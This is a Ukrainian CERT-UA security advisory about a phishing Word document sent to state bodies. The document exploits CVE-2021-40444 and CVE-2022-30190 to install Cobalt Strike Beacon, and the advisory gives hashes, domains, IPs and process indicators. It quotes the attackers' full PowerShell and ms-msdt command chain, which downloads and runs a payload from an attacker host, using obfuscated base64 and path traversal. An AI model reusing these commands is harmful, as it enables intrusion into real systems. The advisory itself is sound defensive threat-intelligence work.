

Кібератака на державні організації України з використанням шкідливої програми Cobalt Strike Beacon та експлоїтів до вразливостей CVE-2021-40444 і CVE-2022-30190 (CERT-UA#4753)

Загальна інформація

Урядовою командою реагування на комп'ютерні надзвичайні події України CERT-UA виявлено файл "зміни оплата праці з нарахуваннями.docx", що розповсюджувався серед державних організацій України засобами електронної пошти.

З'ясовано, що документ містить посилання на зовнішній об'єкт (HTML-файл, що містить JavaScript-код), виконання якого, після експлуатації вразливостей CVE-2021-40444 та CVE-2022-30190, призведе до запуску PowerShell-команди, завантаження EXE-файлу "ms-msdt.exe" та ураження комп'ютера шкідливою програмою Cobalt Strike Beacon.

CERT-UA ініційовано заходи з блокування доменного імені та відповідного серверу.

Рекомендуємо вжити заходів зі зниження вірогідності експлуатації вразливостей ([hXXps://msrc-blogs.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/](https://blogs.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)).
Окремо звернути увагу на процес "sdiagnhost.exe" в контексті створення підозрілих файлів та процесів.

Індикатори компрометації

Файли:

48bc4f0c9b3fe67610c105de0b2a6bd7	
7fafbd8d6b15279ca377d5d871ecb108284fc28f905b73488850999d445c2087	зміни оплата праці з нарахуваннями.docx
754c122f3e311825adc9d46ba3665bb9	
cf2f412ea94253358d3b2a4eebdf2067c6952b1921f0cb754ce888a01e0e0065	Good thing we disabled macros.html
34efd97c9ed25e68b52f35b2c6cab9a5	
7908d7095ed1cde36b7fd8f45966fc56f0b72ca131121fdb3f8397c0710100e1	ms-msdt.exe (Cobalt Strike Beacon)

Хостові:

```
powershell -exec bypass -noP -nonI -w hidden IEX(New-Object Net.WebClient).DownloadFile('hXXps://nod-update[.]it/ms-msdt.exe','C:\Users\Public\ms-msdt.exe'); powershell -exec bypass -noP -nonI -w hidden C:\Users\Public\ms-msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression ($(Invoke-Expression(' [System.Text.Encoding] '+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'cABvAHcAZQByAHMAaABLAGwAbAAgAC0AZQB4AGUAYwAgAGIAeQBwAGEAcwBzACAALQBuAG8AUAAgAC0AbgBvAG4ASQAgAC0AdwAgAGgAaQBkAGQAZQBwACAASQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgB1AHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAAQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBuAG8AZAAAtAHUAcABkAGEAdAB1AC4AaQB0AC8AbQBzAC0AbQBzAGQAdAAuAGUAeAB1ACcALAAAnAE MAOgBcAFUAcwB1AHIAcwBcAFAAAdQBiAGwAaQBjAFwAbQBzAC0AbQBzAGQAdAAuAGUAeAB1ACcAKQA7ACAAcABv AHcAZQByAHMAaABLAGwAbAAgAC0AZQB4AGUAYwAgAGIAeQBwAGEAcwBzACAALQBuAG8AUAAgAC0AbgBvAG4ASQ AgAC0AdwAgAGgAaQBkAGQAZQBwACAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABtAHMALQBuAHMA ZAB0AC4AZQB4AGUA'+ [char]34+'))))i/../../../../../../../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""
```

C:\Users\Public\ms-msdt.exe

(Процеси):

```
1 %SYSTEMROOT%\SysWOW64\sdiagnhost.exe %SYSTEMROOT%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe  
"%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noP -nonI  
-w hidden %PUBLIC%\ms-msdt.exe  
1 %SYSTEMROOT%\SysWOW64\sdiagnhost.exe %SYSTEMROOT%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe  
"%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noP -nonI  
-w hidden IEX  
11 - %SYSTEMROOT%\SysWOW64\sdiagnhost.exe - - %PUBLIC%\ms-msdt.exe - - -  
1 %SYSTEMROOT%\System32\svchost.exe %SYSTEMROOT%\System32\rundll32.exe rundll32.exe  
%SYSTEMROOT%\system32\davclnt.dll,DavSetCookie nod-update[.]it@SSL hXXps://nod-  
update[.]it/check-updates/c/updates
```

Мережеві:

hXXps://nod-update[.]it/check-updates/c/updates/updates.html
hXXps://nod-update[.]it/siteindex/b/
hXXps://nod-update[.]it/getsearchresults
nod-update[.]it
185[.]64.106.39

Графічні зображення:

The image contains three screenshots illustrating a security exploit. The top screenshot shows a Microsoft Word 2010 document with an embedded XML snippet. A red box highlights a specific XML element: `<External/><Relationship Id="rId9" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/external" Target="https://nod-update.it:443/check-updates/c/updates/updates.html" TargetMode="External"/></Relationship Id="rId9" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/external" Target="https://nod-update.it:443/check-updates/c/updates/updates.html" TargetMode="External"/>`. A red box labeled "CVE-2021-40444" points to this element. The middle screenshot shows a browser's developer tools with the HTML source code of the URL `https://nod-update.it/check-updates/c/updates/updates.html`. A red box labeled "CVE-2022-30190" points to a script tag: `<script src="http://schemas.openxmlformats.org/officeDocument/2006/relationships/external" type="text/javascript"></script>`. The bottom screenshot shows a PowerShell command: `powershell -exec bypass -noP -nonI -w hidden IEX(New-Object Net.WebClient).DownloadFile('https://nod-update.it/ms-msdt.exe', 'C:\Users\Public\ms-msdt.exe');` followed by `powershell -exec bypass -noP -nonI -w hidden C:\Users\Public\ms-msdt.exe`.